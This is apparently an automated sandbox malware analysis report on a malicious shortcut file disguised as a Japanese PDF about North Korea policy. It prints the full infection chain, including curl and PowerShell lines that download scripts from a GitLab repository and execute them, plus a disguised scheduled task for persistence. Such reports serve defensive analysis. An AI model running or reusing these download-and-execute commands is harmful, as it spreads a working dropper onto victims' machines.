0bda23628a5955e0a089d5459631224f10c9d7f72a5ede5603e7465f8651c239

Analysis

max time kernel
149s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/11/2026, 22:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
米中首脳会談とトランプ次期政権の対北朝鮮政策に関する資料質問紙.pdf.lnk
Size 1KB
Sample261104-2pexvsvydt
SHA256 0bda23628a5955e0a089d5459631224f10c9d7f72a5ede5603e7465f8651c239
MD5 92e972eefc141ff1bc64c5819629e45c
SHA1 02f3029be0b7b2432aba20fd9f992c27234607d8
SHA512 aa13a9e55ba5758e9d61d8d832769a3925d2bbce92b96cbc3e8da204a24257e6f696ffb7eca2a5682a9049c7d8c93bfd996b94f19d8960c212e7ace31850809a
TLSH
T140212B143FDA6711FBF78D7E94A97744992A7841FD619F0D0160698C2832682DCB0F1F
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware discovery execution persistence spyware

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://gitlab.com/rabbit779/giraff88/-/raw/main/help.ini?ref_type=heads

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
13	3556	powershell.exe
15	3556	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3556	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3936	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2284	cmd.exe
1860	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3264	systeminfo.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000_Classes\Local Settings	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1696	schtasks.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
3556	powershell.exe
3556	powershell.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3556	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4276	AcroRd32.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe
4276	AcroRd32.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2284 wrote to memory of 1860	2284	cmd.exe	86
PID 1860 wrote to memory of 4960	1860	cmd.exe	87
PID 1860 wrote to memory of 2424	1860	cmd.exe	88
PID 1860 wrote to memory of 2836	1860	cmd.exe	89
PID 1032 wrote to memory of 4276	1032	explorer.exe	91
PID 1860 wrote to memory of 2696	1860	cmd.exe	93
PID 1860 wrote to memory of 3936	1860	cmd.exe	95
PID 3936 wrote to memory of 3556	3936	WScript.exe	96
PID 3556 wrote to memory of 3172	3556	powershell.exe	98
PID 3556 wrote to memory of 1696	3556	powershell.exe	99
PID 3556 wrote to memory of 3264	3556	powershell.exe	100
PID 4276 wrote to memory of 4640	4276	AcroRd32.exe	109
PID 4640 wrote to memory of 4092	4640	RdrCEF.exe	110
PID 4640 wrote to memory of 4092	4640	RdrCEF.exe	110
PID 4640 wrote to memory of 920	4640	RdrCEF.exe	111
PID 4640 wrote to memory of 3916	4640	RdrCEF.exe	112
PID 4640 wrote to memory of 2256	4640	RdrCEF.exe	113
PID 4640 wrote to memory of 4340	4640	RdrCEF.exe	114
PID 4640 wrote to memory of 2588	4640	RdrCEF.exe	115
PID 4640 wrote to memory of 2588	4640	RdrCEF.exe	115

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\米中首脳会談とトランプ次期政権の対北朝鮮政策に関する資料質問紙.pdf.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2284
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c mode 15,1&curl -k -L "https://gitlab.com/rabbit779/giraff88/-/raw/main/us8i.pdf?ref_type=heads" -o "C:\Users\Admin\AppData\Roaming\whiskak.pdf"&explorer.exe "C:\Users\Admin\AppData\Roaming\whiskak.pdf"&curl -k -L "https://gitlab.com/rabbit779/giraff88/-/raw/main/first.ini?ref_type=heads" -o "c:\users\public\wiska.vbe"&c:\users\public\wiska.vbe
  2⤵
  - Checks computer location settings
  - Executes a command shell one-liner
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\system32\mode.com
    mode 15,1
    3⤵
    PID:4960
- - C:\Windows\system32\curl.exe
    curl -k -L "https://gitlab.com/rabbit779/giraff88/-/raw/main/us8i.pdf?ref_type=heads" -o "C:\Users\Admin\AppData\Roaming\whiskak.pdf"
    3⤵
    PID:2424
- - C:\Windows\explorer.exe
    explorer.exe "C:\Users\Admin\AppData\Roaming\whiskak.pdf"
    3⤵
    PID:2836
- - C:\Windows\system32\curl.exe
    curl -k -L "https://gitlab.com/rabbit779/giraff88/-/raw/main/first.ini?ref_type=heads" -o "c:\users\public\wiska.vbe"
    3⤵
    PID:2696
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\users\public\wiska.vbe"
    3⤵
    - Checks computer location settings
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:3936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -w 1 -Command "$a=(New-Object Net.WebClient).DownloadString('https://gitlab.com/rabbit779/giraff88/-/raw/main/help.ini?ref_type=heads');$b=[ScriptBlock]::Create($a);& $b;"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3556
    - - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /delete /tn GoogleUpdateTaskMachineUA{1C791230-CA8D-6D04-AC55-E498ABE7C33} /f
        5⤵
        
        PID:3172
    - - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /TN GoogleUpdateTaskMachineUA{1C791230-CA8D-6D04-AC55-E498ABE7C33} /TR "c:\windows\system32\wscript.exe //e:vbscript /b C:\Users\Public\Music\horaks.vbe" /SC minute /MO 15 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1696
    - - C:\Windows\system32\systeminfo.exe
        
        "C:\Windows\system32\systeminfo.exe"
        5⤵
        Gathers system information
        
        PID:3264

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1032
- C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\whiskak.pdf"
  2⤵
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Internet Explorer settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4276
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4640
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=82D9220D8AADA50D019B818170B492F4 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=82D9220D8AADA50D019B818170B492F4 --renderer-client-id=2 --mojo-platform-channel-handle=1768 --allow-no-sandbox-job /prefetch:1
      4⤵
      System Location Discovery: System Language Discovery
      PID:4092
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=434552160046ECBB32A7FD6F13827AFE --mojo-platform-channel-handle=1776 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      PID:920
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=AFA346DA0D67D7D87619FF159DD9C50E --mojo-platform-channel-handle=2344 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      PID:3916
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=659FCF309DCFCE83936D6725AC179320 --mojo-platform-channel-handle=2460 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      PID:2256
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=130EEE67B3527E624C8FA6C4EEE28395 --mojo-platform-channel-handle=2392 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      PID:4340
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=BF0FB7FFCCBF9ABBE73DCD5F2F498946 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=BF0FB7FFCCBF9ABBE73DCD5F2F498946 --renderer-client-id=7 --mojo-platform-channel-handle=2060 --allow-no-sandbox-job /prefetch:1
      4⤵
      System Location Discovery: System Language Discovery
      PID:2588

\??\c:\windows\system32\wscript.exe
c:\windows\system32\wscript.exe
1⤵
PID:3772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 64KB
SHA256 44b47fa6cd1502366014c3a7a2023d49be10a9cef46904e7e6900d005d68ffda
MD5 30575cab2a33a9c4500acfaa11110f78
SHA1 f9b9d60dfa80bd644d719f907dfd1ccea3906c4c
SHA512 88c506133ca62c4863100e168cc8873570fb94b50791a0156498a05041978997ce56071d3437d9abd2e60762185c8228150cb6b31357eba42e1e97f1fbf60778
SSDEEP 384:yehdThatELJ8SWvDTuGmQgZsLglKhubvGZsLRZh+vS4:4+eUZsLQCZsL3hUS4
TLSH
T12253CBDB26348040CA07A8BBADB5731BB662D0BFC1C6F1E87E858A1780F453D9775687
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 36KB
SHA256 b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
MD5 b30d3becc8731792523d599d949e63f5
SHA1 19350257e42d7aee17fb3bf139a9d3adb330fad4
SHA512 523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e
SSDEEP 24:TLiXlzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzm+Zs3tGl:TqlmFTIF3XmHjBoGGR+jMz+LhT
TLSH
T178F21D566E241E3CCA9EC336340836C34D78023DACF3B762A58A719747AD181E37D6E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 56KB
SHA256 111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
MD5 752a1f26b18748311b691c7d8fc20633
SHA1 c1f8e83eebc1cc1e9b88c773338eb09ff82ab862
SHA512 a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5
SSDEEP 192:wedRBvVrThe4p4/KhTB4p4CitZtkZsLRGVDbw6H3ph+v3YQa9:weZdThkKhBvkZsLRGlzh+vS9
TLSH
T1C94379DF2A348110CA0768BABD71771BB655D0BFC1C2F0A87AD68A1780B463CE775687
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_x2nocwdk.y4a.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x2nocwdk.y4a.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

whiskak.pdf

Path C:\Users\Admin\AppData\Roaming\whiskak.pdf
Size 37KB
SHA256 5afc90f99bedc54ade27cb34ff7c824968f009b56d83f79f5513fd5bf5464211
MD5 65f209d968021402abafe0b3d177dab1
SHA1 9a6e740e3d53638cdff22dfc9a523adcbcc1cffe
SHA512 4b7d5fe07b036a96588f32a72931661a67949edd175ab291e7ce44bdc94c4d7af87ea6ec3ef86f67f894fb42839d66921ab949fe22a89a55b0fe73c79934a0c6
SSDEEP 768:lD3mrloV8HYMoM6U6RBKR6dd6+mdVy/KxZ9Ek5NNGDzp3NA5PDgl214G3prfPvsF:lD3mx7yzRu5PDz4Gtset0VL6by
TLSH
T1E003AE74EA4FD82DFD86834AE4BD369A48B9B18F62C834D501790B10F3C6AC56FA55C3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wiska.vbe

Path C:\users\public\wiska.vbe
Size 646B
SHA256 cd94b4fa51812fdc4945c8dbef808fcdfd0ce96249bcb7ee0344af77b205e93c
MD5 00c147635161df7583b75d0e9148b970
SHA1 b727592aa91e1dcaed4717828a1ca056f344b7cc
SHA512 204ee786932e76e31674a5db95051e654d9812074967bbb386078bb1bb3d2d0235eca967f4ff20321ddb92b6c3330741d1611b8d661149e12cf2283675edabc7
TLSH
T108F0280EC80F999B22F1209A44BF46DDA8615A03349913F8D220F6AB12BC895CF90AC3
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3556-35-0x0000027BE1E10000-0x0000027BE1FD2000-memory.dmp

Download

memory/3556-36-0x0000027BE2510000-0x0000027BE2A38000-memory.dmp

Download

memory/3556-37-0x0000027BE1570000-0x0000027BE178C000-memory.dmp

Download

memory/3556-5-0x0000027BE1540000-0x0000027BE1562000-memory.dmp

Download

memory/3556-127-0x0000027BE1570000-0x0000027BE178C000-memory.dmp

Download

memory/4276-130-0x000000000B7C0000-0x000000000BA6B000-memory.dmp

Download

memory/4276-128-0x000000000B7C0000-0x000000000BEB2000-memory.dmp

Download